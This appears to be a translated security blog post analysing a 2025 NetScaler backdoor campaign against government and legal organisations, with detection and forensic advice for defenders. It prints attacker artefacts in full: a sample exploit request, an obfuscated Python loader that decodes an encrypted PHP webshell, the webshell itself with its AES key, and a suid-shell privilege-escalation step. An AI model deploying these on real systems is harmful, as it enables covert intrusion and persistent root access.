Citrix Netscaler后门技术深度分析:2025年政府攻击活动揭秘

本文详细分析了2025年5月针对西方政府和法律机构的Citrix Netscaler后门攻击活动,包括漏洞利用技术、Python脚本攻击链、PHP webshell部署、权限提升手法以及攻击者的隐蔽技术手段。

Citrix Netscaler后门分析——第一部分:2025年5月针对政府的攻击活动

这是前一篇帖子的后续,也是研究在野被利用为0day的不同Netscaler漏洞系列的一部分。

Citrix忘记告诉你:CVE-2025-6543自2025年5月起已被用作0day

我想详细说明系统是如何被植入后门的、使用了什么工具以及如何应对。

本文将研究今年早些时候在西方政府和法律机构中部署的后门,这些后门在补丁可用前一个多月就已存在。这些后门很可能是通过Volt Typhoon安装的——与之前的活动有很强的重叠性,攻击链高度复杂。这不是勒索软件组织,而是间谍活动。

Jeremy Brooks拍摄的照片

后门在打补丁后仍然存在。Citrix基本上向客户隐藏了后门的存在,选择不公开披露后门的存在或技术细节。他们还仅向签署了保密协议的客户提供技术脚本。在之前的Netscaler事件中(这已经是一个持续约3年的问题,尽管今年事件数量有所增加),NSA和Mandiant充当了后盾,公开发布了指南。然而,到目前为止,两者都保持沉默——我不知道原因。

初始访问

这次攻击活动始于getAuthenticationRequirements.do中的一个漏洞。看起来Citrix已经修补了它……但没有发布技术指标允许组织在其Netscaler Web访问日志中进行搜索,也没有安全供应商进行详细分析。

密切关注对getAuthenticationRequirements.do的POST请求——这些可能是合法的,但通常相当罕见。

这是一个示例请求(格式有些混乱):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST /nf/auth/getAuthenticationRequirements.do
HTTP/1.1
Connection: keep-alive
Content-Length: 0
sec-ch-ua-platform: "Windows"
X-Citrix-AM-CredentialTypes: none, username, domain, password, newpassword, passcode, savecredentials, textcredential, webview, nsg-epa, nsg-x1, nsg-setclient, nsg-eula, nsg-tlogin, nsg-fullvpn, nsg-hidden, nsg-auth-failure, nsg-auth-success, nsg-epa-success, nsg-l20n, GoBack, nf-recaptcha, ns-dialogue, nf-gw-test, nf-poll, nsg_qrcode, nsg_manageotp, negotiate, nsg_push, nsg_push_otp, nf_sspr_rem
sec-ch-ua: "Chromium";v="136", "Google Chrome";v="136", "Not.A/Brand";v="99"
sec-ch-ua-mobile: ?0
X-Citrix-AM-LabelTypes: none, plain, heading, information, warning, error, confirmation, image, nsg-epa, nsg-epa-failure, nsg-login-label, tlogin-failure-msg, nsg-tlogin-heading, nsg-tlogin-single-res, nsg-tlogin-multi-res, nsg-tlogin, nsg-login-heading, nsg-fullvpn, nsg-l20n, nsg-l20n-error, certauth-failure-msg, dialogue-label, nsg-change-pass-assistive-text, nsg_confirmation, nsg_kba_registration_heading, nsg_email_registration_heading, nsg_kba_validation_question, nsg_sspr_success, nf-manage-otp
X-Citrix-IsUsingHTTPS: Yes
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: application/xml, text/xml, */*; q=0.01
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: close
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Upgrade-Insecure-Requests: 1
X-Citrix-Am-Labeltypes: none, plain, heading, information, warning, error, confirmation, image, nsg-epa, nsg-epa-failure, nsg-login-label, tlogin-failure-msg, nsg-tlogin-heading, nsg-tlogin-single-res, nsg-tlogin-multi-res, nsg-tlogin, nsg-login-heading, nsg-fullvpn, nsg-l20n, nsg-l20n-error, certauth-failure-msg, dialogue-label, nsg-change-pass-assistive-text, nsg_confirmation, nsg_kba_registration_heading, nsg_email_registration_heading, nsg_kba_validation_question, nsg_sspr_success, nf-manage-otp
..
X-Citrix-Am-Credentialtypes: none, username, domain, password, newpassword, passcode, savecredentials, textcredential, webview, negotiate, nsg_push, nsg_push_otp, nf_sspr_rem, nsg-epa, nsg-x1, nsg-setclient, nsg-eula, nsg-tlogin, nsg-fullvpn, nsg-hidden, nsg-auth-failure, nsg-auth-success, nsg-epa-success, nsg-l20n, GoBack, nf-recaptcha, ns-dialogue, nf-gw-test, nf-poll, nsg_qrcode, nsg_manageotp

Python脚本攻击链

可能引人注目的部分:

1
/var/python/bin/python3 -c "import types,pickle,zlib,base64;types.FunctionType(types.CodeType(*pickle.loads(zlib.decompress(base64.b85decode('c-nPSQE%He5T@)TOTBg5Ls4LFM2A5V?1-{0yGgJNi#<4qWXDOf*-DM9ph?P-D^n6hJ8{th1BUH&f1&%Gd)O:)Xa@[<fx}1M-N)lc-Y;dt18SDMM_#x4J=G]P!8;%]TB1PB@⁹s@0Nweu^v9R)w71&(65ah%)4*8yuD}c6gSX&)neG*P6kLN07#AM!p8@~[i!sS1;}#KU76m*ZIY*i1{;h^zQW1EXl{:YZR6#2&P[Z]3!qGJ1TiApL1U[!vX(A+?;+(aeT9Q}pA{oLYW!%sUQj4ZihKNXp^vUt@LH)L-i>hwo90tb~h))7bFihi!v)nK%Fh~T9V8o%oe8!Ae@nF+bkuVDMAV?tN(Tp=V!*TE[4bv^DO2Cuo_P8)7[qz5304j;aQDErb=~WU6quDmAy2[O0mPZY>gdvf5kgK@fx4QWsvTFSUor0=7D[)JrVHcHJcOsJPp>k~g[{KnJ_l)ugNggGaJeehZRM;4O&>ac9[Y6fWbSuf0)tIg&!:RP-L4KYzoLZyh)SlN46>w_xwq2{+3N{XFt;5?%^v%)jMz<O%lw*9kU;-B;n^&=>ZHF?FP-f[vpx3-Si%w77&JcUO[e3}e>Nu:z;NI(D^G)yS;?(mfIUJ0icRGXn5q4:jHdccRrxP&ezUrQ>&%4RU4an?GSH*W7:pU&a@7f]BPJ8IOof5iO{n:C5-MpYg&>v9PpAz3AcZiLeb1xr^hZphSrN6#DZ4KQ1jZ+^sc<0P{>0ch5^D}!MyMm@8uQ%%bgizlbEyt8Br):P^Q;kY~lH^vtRuV2MxuM6)fDtTaFqVXc1gChbsabf#9Hk4nks2z@qbY(Z[M-#~3Td(kKl-0#Wq+btK_*KQ!UG8#cB5st8cn-x*Dd=9ZaRZAnG+l{fnxQ<9Q6x(nM7RCGQy&j²~F@?j;i(:7r4{nOIwkh+FeK+mYF>v1zy@&-VPC0;o@ved6ybxcLm(zQ3pN!=<xFGOL7pzNU79?9<<~&wPbI_Bed(f:l!g_O++riI#nCnlk&s[Uh2qMd]'.replace('[',chr(96)).replace(']',chr(124)).replace(':',chr(36)))))),globals(),'')()"<null>r<null>

如果你在Netscaler前面有WAF,你肯定要过滤掉包含"base64"和python等术语的请求。

那么,这里发生了什么?

攻击者正在运行一个Python脚本,获取一些b85编码的值,这些值还经过zlib压缩和pickle处理。最终你会得到Python代码,该代码对PHP webshell进行XOR解密。

webshell本身通过POST请求接收AES加密的命令。这是一个写入磁盘的示例webshell:

1
2
3
4
<?PHP
http_response_code(401);
eval( openssl_decrypt(base64_decode($_REQUEST["ssll"]), 'AES-128-ECB', 'K1d2kw35p2oqasbm',OPENSSL_RAW_DATA));
?>

威胁行为者将shell存储在/var/netscaler/logon上的各种位置,这些目录是Web可访问的。例如,在某些组织中,他们将shell转储到LogonPoint的index.php中。在其他组织中,他们将PHP文件存储在客户主题位置。

其他攻击者活动

攻击者将/bin/sh复制到/var/tmp/sh,并使/var/tmp/sh成为suid root,以便稍后将其权限提升为root。

他们还优雅地重新启动了apache——Netscaler作为产品从不这样做,所以如果你还有日志,这是一个很好的取证线索。你可能没有。

他们还在一个合法文件上进行了时间戳篡改——/var/netscaler/logon/LogonPoint/receiver/js/external/jquery.min.js——将文件更改为非标准日期。

然后你可以在Netscaler Web访问日志中看到攻击者对jquery.min.js的GET请求——他们似乎在查看Last Modified HTTP头,以查看他们的攻击是否成功以及该盒子是否已被修补(该文件在修补期间被替换)。然而,很难从日志中知道哪些请求是攻击者的,因为这是一个最终用户使用的合法文件——而且Netscaler只记录HTTP请求头,所以你无法从Web访问日志中知道文件日期何时被修改。

给安全研究人员的一个提示——如果你扫描互联网上的该路径并查看Last Modified响应头,你可以找到几乎肯定是仍然被后门的异常。我一直在通知组织有特定的webshell,但欢迎更多人加入这个派对。

但还有更多的攻击者活动!

还有更多,我将留待未来的博客——例如,还部署了非PHP webshell。此外,还利用了其他漏洞,稍后会详细介绍。

如何处理这些信息

我希望通过这篇博客和上一篇博客,更多的组织检查他们的系统并清除威胁行为者。

我还希望Citrix/Cloud Software Group认真考虑Netscaler——该产品在这方面有一些非常好的功能(例如带有Netscaler Connect的FIM),但我觉得现实是,在客户现场,这还没有落地。供应商可能需要查看他们在Netscaler本身上进行了哪些加固,以及需要哪些额外资源来掌控局势。

我对这种情况直言不讳:这是一个严重的威胁行为者,他们投入大量资源通过本应保护他们的产品来维持对组织的访问。这基本上是产品的生死关头,也可能是供应商煤矿中的另一个警告信号,即边界网络安全产品正在以前所未有的规模进行逆向工程和挑战。当然,这类漏洞一直在野外被利用——但获得的访问规模和深度,加上勒索软件组织在其他SSL VPN产品中获取0day,改变了我对情况的看法。需要全面提高边缘安全产品的标准,当出现问题时,我们真的需要透明度。

我还希望这对安全行业来说是一个更广泛的警钟,开始关注Netscaler,因为组织在很长一段时间内都没有意识到问题。目前看起来只有WatchTowr、Horizon3、荷兰的NCSC和我,一个卡通波格鸟,基本上在驱散这些事件。这很酷……但感觉有点孤独。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计